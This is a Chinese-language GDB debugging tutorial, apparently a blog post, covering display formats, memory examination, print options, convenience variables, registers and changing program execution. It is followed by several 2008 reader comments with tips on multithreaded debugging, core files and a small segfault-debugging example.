    如果是静态数组的话,可以直接用 print 数组名,就可以显示数组中所有数据的内容了。

   
四、输出格式

    一般来说, GDB 会根据变量的类型输出变量的值。但你也可以自定义 GDB 的输出的格式。例如,你想输出一个整数的十六进制,或是二进制来查看这个整型变量的中的位的情况。要做到这样,你可以使用 GDB 的数据显示格式:
   
    x 
按十六进制格式显示变量。
    d 
按十进制格式显示变量。
    u 
按十六进制格式显示无符号整型。
    o 
按八进制格式显示变量。
    t 
按二进制格式显示变量。
    a 
按十六进制格式显示变量。
    c 
按字符格式显示变量。
    f 
按浮点数格式显示变量。

        (gdb) p i
        $21 = 101   
       
        (gdb) p/a i
        $22 = 0x65
       
        (gdb) p/c i
        $23 = 101 'e'
       
        (gdb) p/f i
        $24 = 1.41531145e-43
       
        (gdb) p/x i
        $25 = 0x65
       
        (gdb) p/t i
        $26 = 1100101


五、查看内存

    你可以使用 examine 命令(简写是 x )来查看内存地址中的值。 x 命令的语法如下所示:
   
    x/<n/f/u> <addr>
   
    n
f u 是可选的参数。
   
    n
是一个正整数,表示显示内存的长度,也就是说从当前地址向后显示几个地址的内容。
    f
表示显示的格式,参见上面。如果地址所指的是字符串,那么格式可以是 s ,如果地十是指令地址,那么格式可以是 i
    u
表示从当前地址往后请求的字节数,如果不指定的话, GDB 默认是 4 bytes u 参数可以用下面的字符来代替, b 表示单字节, h 表示双字节, w 表示四字节, g 表示八字节。当我们指定了字节长度后, GDB 会从指内存定的内存地址开始,读写指定字节,并把其当作一个值取出来。
   
    <addr>
表示一个内存地址。

    n/f/u 三个参数可以一起使用。例如:
   
   
命令: x/3uh 0x54320 表示,从内存地址 0x54320 读取内容, h 表示以双字节为一个单位, 3 表示三个单位, u 表示按十六进制显示。
   
   
六、自动显示

    你可以设置一些自动显示的变量,当程序停住时,或是在你单步跟踪时,这些变量会自动显示。相关的 GDB 命令是 display
   
    display <expr>
    display/<fmt> <expr>
    display/<fmt> <addr>
   
    expr
是一个表达式, fmt 表示显示的格式, addr 表示内存地址,当你用 display 设定好了一个或多个表达式后,只要你的程序被停下来, GDB 会自动显示你所设置的这些表达式的值。
   
   
格式 i s 同样被 display 支持,一个非常有用的命令是:
   
        display/i $pc
   
    $pc
GDB 的环境变量,表示着指令的地址, /i 则表示输出格式为机器指令码,也就是汇编。于是当程序停下后,就会出现源代码和机器指令码相对应的情形,这是一个很有意思的功能。
   
   
下面是一些和 display 相关的 GDB 命令:
   
    undisplay <dnums...>
    delete display <dnums...>
   
删除自动显示, dnums 意为所设置好了的自动显式的编号。如果要同时删除几个,编号可以用空格分隔,如果要删除一个范围内的编号,可以用减号表示(如: 2-5
   
    disable display <dnums...>
    enable display <dnums...>
    disable
enalbe 不删除自动显示的设置,而只是让其失效和恢复。
   
    info display
   
查看 display 设置的自动显示的信息。 GDB 会打出一张表格,向你报告当然调试中设置了多少个自动显示设置,其中包括,设置的编号,表达式,是否 enable

七、设置显示选项

    GDB 中关于显示的选项比较多,这里我只例举大多数常用的选项。

    set print address
    set print address on
       
打开地址输出,当程序显示函数信息时, GDB 会显出函数的参数地址。系统默认为打开的,如:
       
        (gdb) f
        #0  set_quotes (lq=0x34c78 "<<", rq=0x34c88 ">>")
            at input.c:530
        530         if (lquote != def_lquote)


    set print address off
       
关闭函数的参数地址显示,如:
       
        (gdb) set print addr off
        (gdb) f
        #0  set_quotes (lq="<<", rq=">>") at input.c:530
        530         if (lquote != def_lquote)

    show print address
       
查看当前地址显示选项是否打开。
       
    set print array
    set print array on
       
打开数组显示,打开后当数组显示时,每个元素占一行,如果不打开的话,每个元素则以逗号分隔。这个选项默认是关闭的。与之相关的两个命令如下,我就不再多说了。
       
    set print array off
    show print array

    set print elements <number-of-elements>
       
这个选项主要是设置数组的,如果你的数组太大了,那么就可以指定一个 <number-of-elements> 来指定数据显示的最大长度,当到达这个长度时, GDB 就不再往下显示了。如果设置为 0 ,则表示不限制。
       
    show print elements
       
查看 print elements 的选项信息。
       
    set print null-stop <on/off>
       
如果打开了这个选项,那么当显示字符串时,遇到结束符则停止显示。这个选项默认为 off
       
    set print pretty on
       
如果打开 printf pretty 这个选项,那么当 GDB 显示结构体时会比较漂亮。如:

            $1 = {
              next = 0x0,
              flags = {
                sweet = 1,
                sour = 1
              },
              meat = 0x54 "Pork"
            }

    set print pretty off
       
关闭 printf pretty 这个选项, GDB 显示结构体时会如下显示:
       
            $1 = {next = 0x0, flags = {sweet = 1, sour = 1}, meat = 0x54 "Pork"}
           
    show print pretty
       
查看 GDB 是如何显示结构体的。
       
   
    set print sevenbit-strings <on/off>
       
设置字符显示,是否按 “ \nnn ” 的格式显示,如果打开,则字符串或字符数据按 \nnn 显示,如 “ \065 ”
   
    show print sevenbit-strings
       
查看字符显示开关是否打开。
       
    set print union <on/off>
       
设置显示结构体时,是否显式其内的联合体数据。例如有以下数据结构:
       
        typedef enum {Tree, Bug} Species;
        typedef enum {Big_tree, Acorn, Seedling} Tree_forms;
        typedef enum {Caterpillar, Cocoon, Butterfly}
                      Bug_forms;
       
        struct thing {
          Species it;
          union {
            Tree_forms tree;
            Bug_forms bug;
          } form;
        };
       
        struct thing foo = {Tree, {Acorn}};

        当打开这个开关时,执行 p foo 命令后,会如下显示:
            $1 = {it = Tree, form = {tree = Acorn, bug = Cocoon}}
       
       
当关闭这个开关时,执行 p foo 命令后,会如下显示:
            $1 = {it = Tree, form = {...}}

    show print union
       
查看联合体数据的显示方式
       
    set print object <on/off>
       
C++ 中,如果一个对象指针指向其派生类,如果打开这个选项, GDB 会自动按照虚方法调用的规则显示输出,如果关闭这个选项的话, GDB 就不管虚函数表了。这个选项默认是 off
   
    show print object
       
查看对象选项的设置。
       
    set print static-members <on/off>
       
这个选项表示,当显示一个 C++ 对象中的内容是,是否显示其中的静态数据成员。默认是 on
   
    show print static-members
       
查看静态数据成员选项设置。
       
    set print vtbl <on/off>
       
当此选项打开时, GDB 将用比较规整的格式来显示虚函数表时。其默认是关闭的。
       
    show print vtbl
       
查看虚函数显示格式的选项。
       
       
八、历史记录

    当你用 GDB print 查看程序运行时的数据时,你每一个 print 都会被 GDB 记录下来。 GDB 会以 $1, $2, $3 ..... 这样的方式为你每一个 print 命令编上号。于是,你可以使用这个编号访问以前的表达式,如 $1 。这个功能所带来的好处是,如果你先前输入了一个比较长的表达式,如果你还想查看这个表达式的值,你可以使用历史记录来访问,省去了重复输入。
   
   
九、 GDB 环境变量

    你可以在 GDB 的调试环境中定义自己的变量,用来保存一些调试程序中的运行数据。要定义一个 GDB 的变量很简单只需。使用 GDB set 命令。 GDB 的环境变量和 UNIX 一样,也是以 $ 起头。如:
   
    set $foo = *object_ptr
   
   
使用环境变量时, GDB 会在你第一次使用时创建这个变量,而在以后的使用中,则直接对其賦值。环境变量没有类型,你可以给环境变量定义任一的类型。包括结构体和数组。
   
    show convenience
       
该命令查看当前所设置的所有的环境变量。
       
   
这是一个比较强大的功能,环境变量和程序变量的交互使用,将使得程序调试更为灵活便捷。例如:
   
        set $i = 0
        print bar[$i++]->contents
   
   
于是,当你就不必, print bar[0]->contents, print bar[1]->contents 地输入命令了。输入这样的命令后,只用敲回车,重复执行上一条语句,环境变量会自动累加,从而完成逐个输出的功能。
   
   
十、查看寄存器

    要查看寄存器的值,很简单,可以使用如下命令:
   
    info registers
       
查看寄存器的情况。(除了浮点寄存器)
   
    info all-registers
       
查看所有寄存器的情况。(包括浮点寄存器)
   
    info registers <regname ...>
       
查看所指定的寄存器的情况。
       
   
寄存器中放置了程序运行时的数据,比如程序当前运行的指令地址( ip ),程序的当前堆栈地址( sp )等等。你同样可以使用 print 命令来访问寄存器的情况,只需要在寄存器名字前加一个 $ 符号就可以了。如: p $eip

改变程序的执行
———————

    一旦使用 GDB 挂上被调试程序,当程序运行起来后,你可以根据自己的调试思路来动态地在 GDB 中更改当前被调试程序的运行线路或是其变量的值,这个强大的功能能够让你更好的调试你的程序,比如,你可以在程序的一次运行中走遍程序的所有分支。
   
   
一、修改变量值

    修改被调试程序运行时的变量值,在 GDB 中很容易实现,使用 GDB print 命令即可完成。如:
   
        (gdb) print x=4
   
    x=4
这个表达式是 C/C++ 的语法,意为把变量 x 的值修改为 4 ,如果你当前调试的语言是 Pascal ,那么你可以使用 Pascal 的语法: x:=4
   
   
在某些时候,很有可能你的变量和 GDB 中的参数冲突,如:
   
        (gdb) whatis width
        type = double
        (gdb) p width
        $4 = 13
        (gdb) set width=47
        Invalid syntax in expression.

    因为, set width GDB 的命令,所以,出现了 “ Invalid syntax in expression ” 的设置错误,此时,你可以使用 set var 命令来告诉 GDB width 不是你 GDB 的参数,而是程序的变量名,如:
   
        (gdb) set var width=47
       
   
另外,还可能有些情况, GDB 并不报告这种错误,所以保险起见,在你改变程序变量取值时,最好都使用 set var 格式的 GDB 命令。
   

二、跳转执行

    一般来说,被调试程序会按照程序代码的运行顺序依次执行。 GDB 提供了乱序执行的功能,也就是说, GDB 可以修改程序的执行顺序,可以让程序执行随意跳跃。这个功能可以由 GDB jump 命令来完:
   
    jump <linespec>
   
指定下一条语句的运行点。 <linespce> 可以是文件的行号,可以是 file:line 格式,可以是 +num 这种偏移量格式。表式着下一条运行语句从哪里开始。
   
    jump <address>
   
这里的 <address> 是代码行的内存地址。
   
   
注意, jump 命令不会改变当前的程序栈中的内容,所以,当你从一个函数跳到另一个函数时,当函数运行完返回时进行弹栈操作时必然会发生错误,可能结果还是非常奇怪的,甚至于产生程序 Core Dump 。所以最好是同一个函数中进行跳转。
   
   
熟悉汇编的人都知道,程序运行时,有一个寄存器用于保存当前代码所在的内存地址。所以, jump 命令也就是改变了这个寄存器中的值。于是,你可以使用 “ set $pc ” 来更改跳转执行的地址。如:
   
    set $pc = 0x485


三、产生信号量

    使用 singal 命令,可以产生一个信号量给被调试的程序。如:中断信号 Ctrl+C 。这非常方便于程序的调试,可以在程序运行的任意位置设置断点,并在该断点用 GDB 产生一个信号量,这种精确地在某处产生信号非常有利程序的调试。
   
   
语法是: signal <singal> UNIX 的系统信号量通常从 1 15 。所以 <singal> 取值也在这个范围。
   
    single
命令和 shell kill 命令不同,系统的 kill 命令发信号给被调试程序时,是由 GDB 截获的,而 single 命令所发出一信号则是直接发给被调试程序的。
   

四、强制函数返回

    如果你的调试断点在某个函数中,并还有语句没有执行完。你可以使用 return 命令强制函数忽略还没有执行的语句并返回。
   
    return
    return <expression>
   
使用 return 命令取消当前函数的执行,并立即返回,如果指定了 <expression> ,那么该表达式的值会被认作函数的返回值。
   
   
五、强制调用函数

    call <expr>
   
表达式中可以一是函数,以此达到强制调用函数的目的。并显示函数的返回值,如果函数返回值是 void ,那么就不显示。
   
   
另一个相似的命令也可以完成这一功能 —— print print 后面可以跟表达式,所以也可以用他来调用函数, print call 的不同是,如果函数返回 void call 则不显示, print 则显示函数返回值,并把该值存入历史数据中。

 

 

在不同语言中使用 GDB
——————————

GDB 支持下列语言: C, C++, Fortran, PASCAL, Java, Chill, assembly, Modula-2 。一般说来, GDB 会根据你所调试的程序来确定当然的调试语言,比如:发现文件名后缀为 “ .c ” 的, GDB 会认为是 C 程序。文件名后缀为 “ .C, .cc, .cp, .cpp, .cxx, .c++ ” 的, GDB 会认为是 C++ 程序。而后缀是 “ .f, .F ” 的, GDB 会认为是 Fortran 程序,还有,后缀为如果是 “ .s, .S ” 的会认为是汇编语言。

也就是说, GDB 会根据你所调试的程序的语言,来设置自己的语言环境,并让 GDB 的命令跟着语言环境的改变而改变。比如一些 GDB 命令需要用到表达式或变量时,这些表达式或变量的语法,完全是根据当前的语言环境而改变的。例如 C/C++ 中对指针的语法是 *p ,而在 Modula-2 中则是 p^ 。并且,如果你当前的程序是由几种不同语言一同编译成的,那到在调试过程中, GDB 也能根据不同的语言自动地切换语言环境。这种跟着语言环境而改变的功能,真是体贴开发人员的一种设计。


下面是几个相关于 GDB 语言环境的命令:

    show language
       
查看当前的语言环境。如果 GDB 不能识为你所调试的编程语言,那么, C 语言被认为是默认的环境。
       
    info frame
       
查看当前函数的程序语言。
       
    info source
       
查看当前文件的程序语言。
   
如果 GDB 没有检测出当前的程序语言,那么你也可以手动设置当前的程序语言。使用 set language 命令即可做到。

    set language 命令后什么也不跟的话,你可以查看 GDB 所支持的语言种类:
   
        (gdb) set language
        The currently understood settings are:
       
        local or auto    Automatic setting based on source file
        c                Use the C language
        c++              Use the C++ language
        asm              Use the Asm language
        chill            Use the Chill language
        fortran          Use the Fortran language
        java             Use the Java language
        modula-2         Use the Modula-2 language
        pascal           Use the Pascal language
        scheme           Use the Scheme language
       
   
于是你可以在 set language 后跟上被列出来的程序语言名,来设置当前的语言环境。
   
   

后记
——

    GDB 是一个强大的命令行调试工具。大家知道命令行的强大就是在于,其可以形成执行序列,形成脚本。 UNIX 下的软件全是命令行的,这给程序开发提代供了极大的便利,命令行软件的优势在于,它们可以非常容易的集成在一起,使用几个简单的已有工具的命令,就可以做出一个非常强大的功能。   
 

re: 程序调试的利器GDB 聂文龙 2008-07-27 03:47
在linux环境下调试多线程,总觉得不像.NET那么方便。这几天就为找一个死锁的bug折腾好久,介绍一下用过的方法吧。

多线程如果dump,多为段错误,一般都涉及内存非法读写。可以这样处理,使用下面的命令打开系统开关,让其可以在死掉的时候生成core文件。  
ulimit -c unlimited
这样的话死掉的时候就可以在当前目录看到core.pid(pid为进程号)的文件。接着使用gdb:
gdb ./bin ./core.pid
进去后,使用bt查看死掉时栈的情况,在使用frame命令。

还有就是里面某个线程停住,也没死,这种情况一般就是死锁或者涉及消息接受的超时问题(听人说的,没有遇到过)。遇到这种情况,可以使用:
gcore pid (调试进程的pid号)
手动生成core文件,在使用pstack(linux下好像不好使)查看堆栈的情况。如果都看不出来,就仔细查看代码,看看是不是在if,return,break,continue这种语句操作是忘记解锁,还有嵌套锁的问题,都需要分析清楚了。

最后,说一句,静心看代码,捶胸顿足是没有用的。
re: 程序调试的利器GDB 聂文龙 2008-07-27 03:43

gdb对于多线程程序的调试有如下的支持:

  • 线程产生通知:在产生新的线程时, gdb会给出提示信息

(gdb) r
Starting program: /root/thread
[New Thread (LWP 12900)]
[New Thread (LWP 12907)]—以下三个为新产生的线程
[New Thread (LWP 12908)]
[New Thread (LWP 12909)]

  • 查看线程:使用info threads可以查看运行的线程。

(gdb) info threads
4 Thread (LWP 12940) 0xffffe002 in ?? ()
3 Thread (LWP 12939) 0xffffe002 in ?? ()
2 Thread (LWP 12938) 0xffffe002 in ?? ()
* 1 Thread (LWP 12931) main (argc=1, argv=0xbfffda04) at thread.c:21
(gdb)
注意,行首的蓝色文字为gdb分配的线程号,对线程进行切换时,使用该该号码,而不是上文标出的绿色数字。

另外,行首的红色星号标识了当前活动的线程

  • 切换线程:使用 thread THREADNUMBER 进行切换,THREADNUMBER 为上文提到的线程号。下例显示将活动线程从 1 切换至 4。

(gdb) info threads
4 Thread (LWP 12940) 0xffffe002 in ?? ()
3 Thread (LWP 12939) 0xffffe002 in ?? ()
2 Thread (LWP 12938) 0xffffe002 in ?? ()
* 1 Thread (LWP 12931) main (argc=1, argv=0xbfffda04) at thread.c:21
(gdb) thread 4
[Switching to thread 4 (Thread (LWP 12940))]#0 0xffffe002 in ?? ()
(gdb) info threads
* 4 Thread (LWP 12940) 0xffffe002 in ?? ()
3 Thread (LWP 12939) 0xffffe002 in ?? ()
2 Thread (LWP 12938) 0xffffe002 in ?? ()
1 Thread (LWP 12931) main (argc=1, argv=0xbfffda04) at thread.c:21
(gdb)
以上即为使用gdb提供的对多线程进行调试的一些基本命令。另外,gdb也提供对线程的断点设置以及对指定或所有线程发布命令的命令。

初次接触gdb下多线程的调试,往往会忽视gdb中活动线程的概念。一般来讲,在使用gdb调试的时候,只有一个线程为活动线程,如果希望得到其他的线程的输出结果,必须使用thread命令切换至指定的线程,才能对该线程进行调试或观察输出结果。

re: 程序调试的利器GDB 聂文龙 2008-07-27 03:22
d 空格加断点num,是去断点的,c是跳到下一个断点

跳出函数,相当于step over :finish.
re: 程序调试的利器GDB 聂文龙 2008-07-27 03:22
gdb调试程序已经run了

动态的增加断点
 
ctrl-z挂起 设置短点 fg唤醒
re: 程序调试的利器GDB 聂文龙 2008-07-27 03:17
一:列文件清单    
  1.   List    
  (gdb)   list   line1,line2    
   
  二:执行程序    
  要想运行准备调试的程序,可使用run命令,在它后面可以跟随发给该程序的任何参数,包括标准输入和标准输出说明符(<和>)和外壳通配符(*、?、[、])在内。    
  如果你使用不带参数的run命令,gdb就再次使用你给予前一条run命令的参数,这是很有用的。    
  利用set   args   命令就可以修改发送给程序的参数,而使用show   args   命令就可以查看其缺省参数的列表。    
  (gdb)set   args   –b   –x    
  (gdb)   show   args    
  backtrace命令为堆栈提供向后跟踪功能。    
  Backtrace   命令产生一张列表,包含着从最近的过程开始的所以有效过程和调用这些过程的参数。    
   
  三:显示数据    
  利用print   命令可以检查各个变量的值。    
  (gdb)   print   p   (p为变量名)    
  whatis   命令可以显示某个变量的类型    
  (gdb)   whatis   p    
  type   =   int   *    
   
  print   是gdb的一个功能很强的命令,利用它可以显示被调试的语言中任何有效的表达式。表达式除了包含你程序中的变量外,还可以包含以下内容:    
  l   对程序中函数的调用    
  (gdb)   print   find_entry(1,0)    
  l   数据结构和其他复杂对象    
  (gdb)   print   *table_start    
  $8={e=reference=’\000’,location=0x0,next=0x0}    
  l   值的历史成分    
  (gdb)print   $1   ($1为历史记录变量,在以后可以直接引用   $1   的值)    
  l   人为数组    
  人为数组提供了一种去显示存储器块(数组节或动态分配的存储区)内容的方法。早期的调试程序没有很好的方法将任意的指针换成一个数组。就像对待参数一样,让我们查看内存中在变量h后面的10个整数,一个动态数组的语法如下所示:    
  base@length    
  因此,要想显示在h后面的10个元素,可以使用h@10:    
  (gdb)print   h@10    
  $13=(-1,345,23,-234,0,0,0,98,345,10)    
   
  四:断点(breakpoint)    
  break命令(可以简写为b)可以用来在调试的程序中设置断点,该命令有如下四种形式:    
  l   break   line-number   使程序恰好在执行给定行之前停止。    
  l   break   function-name   使程序恰好在进入指定的函数之前停止。    
  l   break   line-or-function   if   condition   如果condition(条件)是真,程序到达指定行或函数时停止。    
  l   break   routine-name   在指定例程的入口处设置断点    
   
  如果该程序是由很多原文件构成的,你可以在各个原文件中设置断点,而不是在当前的原文件中设置断点,其方法如下:    
  (gdb)   break   filename:line-number    
  (gdb)   break   filename:function-name    
   
  要想设置一个条件断点,可以利用break   if命令,如下所示:    
  (gdb)   break   line-or-function   if   expr    
  例:    
  (gdb)   break   46   if   testsize==100    
   
  从断点继续运行:countinue   命令    
  五.断点的管理    
   
  1.   显示当前gdb的断点信息:    
  (gdb)   info   break    
  他会以如下的形式显示所有的断点信息:    
  Num   Type   Disp   Enb   Address   What    
  1   breakpoint   keep   y   0x000028bc   in   init_random   at   qsort2.c:155    
  2   breakpoint   keep   y   0x0000291c   in   init_organ   at   qsort2.c:168    
  (gdb)    
  2.删除指定的某个断点:    
  (gdb)   delete   breakpoint   1    
  该命令将会删除编号为1的断点,如果不带编号参数,将删除所有的断点    
  (gdb)   delete   breakpoint    
  3.禁止使用某个断点    
  (gdb)   disable   breakpoint   1    
  该命令将禁止断点   1,同时断点信息的   (Enb)域将变为   n    
  4.允许使用某个断点    
  (gdb)   enable   breakpoint   1    
  该命令将允许断点   1,同时断点信息的   (Enb)域将变为   y    
  5.清除原文件中某一代码行上的所有断点    
  (gdb)clean   number    
  注:number   为原文件的某个代码行的行号    
  六.变量的检查和赋值    
  l   whatis:识别数组或变量的类型    
  l   ptype:比whatis的功能更强,他可以提供一个结构的定义    
  l   set   variable:将值赋予变量    
  l   print   除了显示一个变量的值外,还可以用来赋值    
七.单步执行    
  l   next    
  不进入的单步执行    
  l   step    
  进入的单步执行    
  如果已经进入了某函数,而想退出该函数返回到它的调用函数中,可使用命令finish    
  八.函数的调用    
  l   call   name   调用和执行一个函数    
  (gdb)   call   gen_and_sork(   1234,1,0   )    
  (gdb)   call   printf(“abcd”)    
  $1=4    
  l   finish   结束执行当前函数,显示其返回值(如果有的话)    
   
  九.机器语言工具    
  有一组专用的gdb变量可以用来检查和修改计算机的通用寄存器,gdb提供了目前每一台计算机中实际使用的4个寄存器的标准名字:    
  l   $pc   :   程序计数器    
  l   $fp   :   帧指针(当前堆栈帧)    
  l   $sp   :   栈指针    
  l   $ps   :   处理器状态    
   
  十.信号    
  gdb通常可以捕捉到发送给它的大多数信号,通过捕捉信号,它就可决定对于正在运行的进程要做些什么工作。例如,按CTRL-C将中断信号发送给gdb,通常就会终止gdb。但是你或许不想中断gdb,真正的目的是要中断gdb正在运行的程序,因此,gdb要抓住该信号并停止它正在运行的程序,这样就可以执行某些调试操作。    
   
  Handle命令可控制信号的处理,他有两个参数,一个是信号名,另一个是接受到信号时该作什么。几种可能的参数是:    
  l   nostop   接收到信号时,不要将它发送给程序,也不要停止程序。    
  l   stop   接受到信号时停止程序的执行,从而允许程序调试;显示一条表示已接受到信号的消息(禁止使用消息除外)    
  l   print   接受到信号时显示一条消息    
  l   noprint   接受到信号时不要显示消息(而且隐含着不停止程序运行)    
  l   pass   将信号发送给程序,从而允许你的程序去处理它、停止运行或采取别的动作。    
  l   nopass   停止程序运行,但不要将信号发送给程序。    
  例如,假定你截获SIGPIPE信号,以防止正在调试的程序接受到该信号,而且只要该信号一到达,就要求该程序停止,并通知你。要完成这一任务,可利用如下命令:    
  (gdb)   handle   SIGPIPE   stop   print    
  请注意,UNIX的信号名总是采用大写字母!你可以用信号编号替代信号名    
  如果你的程序要执行任何信号处理操作,就需要能够测试其信号处理程序,为此,就需要一种能将信号发送给程序的简便方法,这就是signal命令的任务。该   命令的参数是一个数字或者一个名字,如SIGINT。假定你的程序已将一个专用的SIGINT(键盘输入,或CTRL-C;信号2)信号处理程序设置成采   取某个清理动作,要想测试该信号处理程序,你可以设置一个断点并使用如下命令:    
  (gdb)   signal   2    
  continuing   with   signal   SIGINT(2)    
  该程序继续执行,但是立即传输该信号,而且处理程序开始运行.    
   
  十一.   原文件的搜索    
  search   text:该命令可显示在当前文件中包含text串的下一行。    
  Reverse-search   text:该命令可以显示包含text   的前一行。    
   
  十二.UNIX接口    
  shell   命令可启动UNIX外壳,CTRL-D退出外壳,返回到   gdb.    
   
  十三.命令的历史    
  为了允许使用历史命令,可使用   set   history   expansion   on   命令    
  (gdb)   set   history   expansion   on    
   
  小结:常用的gdb命令    
  backtrace   显示程序中的当前位置和表示如何到达当前位置的栈跟踪(同义词:where)    
  breakpoint   在程序中设置一个断点    
  cd   改变当前工作目录    
  clear   删除刚才停止处的断点    
  commands   命中断点时,列出将要执行的命令    
  continue   从断点开始继续执行    
  delete   删除一个断点或监测点;也可与其他命令一起使用    
  display   程序停止时显示变量和表达时    
  down   下移栈帧,使得另一个函数成为当前函数    
  frame   选择下一条continue命令的帧    
  info   显示与该程序有关的各种信息    
  jump   在源程序中的另一点开始运行    
  kill   异常终止在gdb   控制下运行的程序    
  list   列出相应于正在执行的程序的原文件内容    
  next   执行下一个源程序行,从而执行其整体中的一个函数    
  print   显示变量或表达式的值    
  pwd   显示当前工作目录    
  pype   显示一个数据结构(如一个结构或C++类)的内容    
  quit   退出gdb    
  reverse-search   在源文件中反向搜索正规表达式    
  run   执行该程序    
  search   在源文件中搜索正规表达式    
  set   variable   给变量赋值    
  signal   将一个信号发送到正在运行的进程    
  step   执行下一个源程序行,必要时进入下一个函数    
  undisplay   display命令的反命令,不要显示表达式    
  until   结束当前循环    
  up   上移栈帧,使另一函数成为当前函数    
  watch   在程序中设置一个监测点(即数据断点)    
  whatis   显示变量或函数类型    
  ****************************************************   
GNU的调试器称为gdb,该程序是一个交互式工具,工作在字符模式。在   X   Window   系统中,有一个gdb的前端图形工具,称为xxgdb。gdb   是功能强大的调试程序,可完成如下的调试任务:    
    *   设置断点;    
    *   监视程序变量的值;    
    *   程序的单步执行;    
    *   修改变量的值。    
    在可以使用   gdb   调试程序之前,必须使用   -g   选项编译源文件。可在   makefile   中如下定义   CFLAGS   变量:    
       CFLAGS   =   -g    
       运行   gdb   调试程序时通常使用如下的命令:    
       gdb   progname    
   
    在   gdb   提示符处键入help,将列出命令的分类,主要的分类有:    
    *   aliases:命令别名    
    *   breakpoints:断点定义;    
    *   data:数据查看;    
    *   files:指定并查看文件;    
    *   internals:维护命令;    
    *   running:程序执行;    
    *   stack:调用栈查看;    
    *   statu:状态查看;    
    *   tracepoints:跟踪程序执行。    
    键入   help   后跟命令的分类名,可获得该类命令的详细清单。    
   
   
  gdb   的常用命令    
  命令   解释    
    break   NUM   在指定的行上设置断点。    
    bt   显示所有的调用栈帧。该命令可用来显示函数的调用顺序。    
    clear   删除设置在特定源文件、特定行上的断点。其用法为clear   FILENAME:NUM    
    continue   继续执行正在调试的程序。该命令用在程序由于处理信号或断点而   导致停止运行时。    
    display   EXPR   每次程序停止后显示表达式的值。表达式由程序定义的变量组成。    
    file   FILE   装载指定的可执行文件进行调试。    
    help   NAME   显示指定命令的帮助信息。    
    info   break   显示当前断点清单,包括到达断点处的次数等。    
    info   files   显示被调试文件的详细信息。    
    info   func   显示所有的函数名称。    
    info   local   显示当函数中的局部变量信息。    
    info   prog   显示被调试程序的执行状态。    
    info   var   显示所有的全局和静态变量名称。    
    kill   终止正被调试的程序。    
    list   显示源代码段。    
    make   在不退出   gdb   的情况下运行   make   工具。    
    next   在不单步执行进入其他函数的情况下,向前执行一行源代码。    
    print   EXPR   显示表达式   EXPR   的值。    
   
  ******gdb   使用范例************************    
  -----------------    
  清单   一个有错误的   C   源程序   bugging.c    
  代码:    
   
  -----------------    
  1 #i   nclude    
  2    
  3 static   char   buff   [256];    
  4 static   char*   string;    
  5 int   main   ()    
  6 {    
  7   printf   ("Please   input   a   string:   ");    
  8   gets   (string);      
  9     printf   ("\nYour   string   is:   %s\n",   string);    
  10   }    
   
   
  -----------------    
      上面这个程序非常简单,其目的是接受用户的输入,然后将用户的输入打印出来。该程序使用了一个未经过初始化的字符串地址   string,因此,编译并运行之后,将出现   Segment   Fault   错误:    
  $   gcc   -o   bugging   -g   bugging.c    
  $   ./bugging    
  Please   input   a   string:   asfd    
  Segmentation   fault   (core   dumped)    
  为了查找该程序中出现的问题,我们利用   gdb,并按如下的步骤进行:    
  1.运行   gdb   bugging   命令,装入   bugging   可执行文件;    
  2.执行装入的   bugging   命令   run;    
  3.使用   where   命令查看程序出错的地方;    
  4.利用   list   命令查看调用   gets   函数附近的代码;    
  5.唯一能够导致   gets   函数出错的因素就是变量   string。用print命令查看   string   的值;    
  6.在   gdb   中,我们可以直接修改变量的值,只要将   string   取一个合法的指针值就可以了,为此,我们在第8行处设置断点   break   8;    
  7.程序重新运行到第   8行处停止,这时,我们可以用   set   variable   命令修改   string   的取值;    
  8.然后继续运行,将看到正确的程序运行结果    
re: 程序调试的利器GDB 聂文龙 2008-07-27 03:04
编译时加入-g调试选项,去掉-Ox选项
使用gdb运行,如果中断退出,使用bt命令查看调用堆栈,如果不是可以
通过thr n (n表示线程号,用 info thr查看)切换,然后bt看堆栈
以上方法在kernel 2.6+gdb 6中有问题
re: 程序调试的利器GDB 聂文龙 2008-07-27 03:02
检查一切
memcpy, strcpy, strcat sprintf 动态数组下标。
这种问题多半世内存访问错误或者缓冲区溢出覆盖堆栈造成的。
调试方法:
gdb 调试程序或者gdb调试core文件
re: 程序调试的利器GDB 聂文龙 2008-07-27 03:00
在Linux下调试程序一般用GDB来执行。
  这里简要介绍一下是否gdb调试程序的方法:
  (1)进入gdb调试:
  gdb + 已经编译通过的可执行程序 -》 就进入调试模式。例如:gdb MiddlePublisher
  (2)r + 运行时的参数 -》 开始运行可执行程序。例如 r -lxml2 -f refile
  (3)b + 断点 -》设置调试的断点。两种:一种是:b CMSTask.cpp:200 表示在CMSTask.cpp文件的第200行设置断点。另一种:b TaskManager::buildPubWinTask 表示在执行buildPubWinTask这个函数的时候停止。
  (4)取消断点:
  dis 1 表示取消第一个断点
  dis 2 表示取消第二个断点
  (5)查看设置断点信息: info b
  (6)在断点停止处查看所在代码的详细信息:l
  (7)可以在gdb中直接编译,然后再重新运行时,gdb会直接执行新编译好的可执行程序。例如:直接在gdb下执行make后再重庆运行。
  (8)跟进一个函数:s
  如果设置的断点是在一个函数入口。到达该断点时,键入s就可以进入该函数内部进行调试。如果有多个函数就多次键入S来进入内部的函数。
  PS:
  1、在SecureCRT远程登录界面上开启多个窗口。在窗口之间切换时用:Alt+1,Alt+2.....表示切换到第1个,第2个窗口。
  2、同样在在SecureCRT远程登录界面上要粘贴复制好的内容用:Shift+Insert。

re: 程序调试的利器GDB 聂文龙 2008-07-27 02:54
Linux 包含了一个叫 gdb 的 GNU 调试程序. gdb 是一个用来调试 C 和 C++ 程序的强力调试器. 它使你能在程序运行时观察程序的内部结构和内存的使用情况. 以下是 gdb 所提供的一些功能:
它使你能监视你程序中变量的值.
它使你能设置断点以使程序在指定的代码行上停止执行.
它使你能一行行的执行你的代码.

在命令行上键入 gdb 并按回车键就可以运行 gdb 了, 如果一切正常的话, gdb 将被启动并且你将在屏幕上看到类似的内容:
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.14 (i486-slakware-linux), Copyright 1995 Free Software Foundation, Inc.
(gdb)
当你启动 gdb 后, 你能在命令行上指定很多的选项. 你也可以以下面的方式来运行 gdb :
gdb <fname>
当你用这种方式运行 gdb , 你能直接指定想要调试的程序. 这将告诉gdb 装入名为 fname 的可执行文件. 你也可以用 gdb 去检查一个因程序异常终止而产生的 core 文件, 或者与一个正在运行的程序相连. 你可以参考 gdb 指南页或在命令行上键入 gdb -h 得到一个有关这些选项的说明的简单列表.

为调试编译代码(Compiling Code for Debugging)
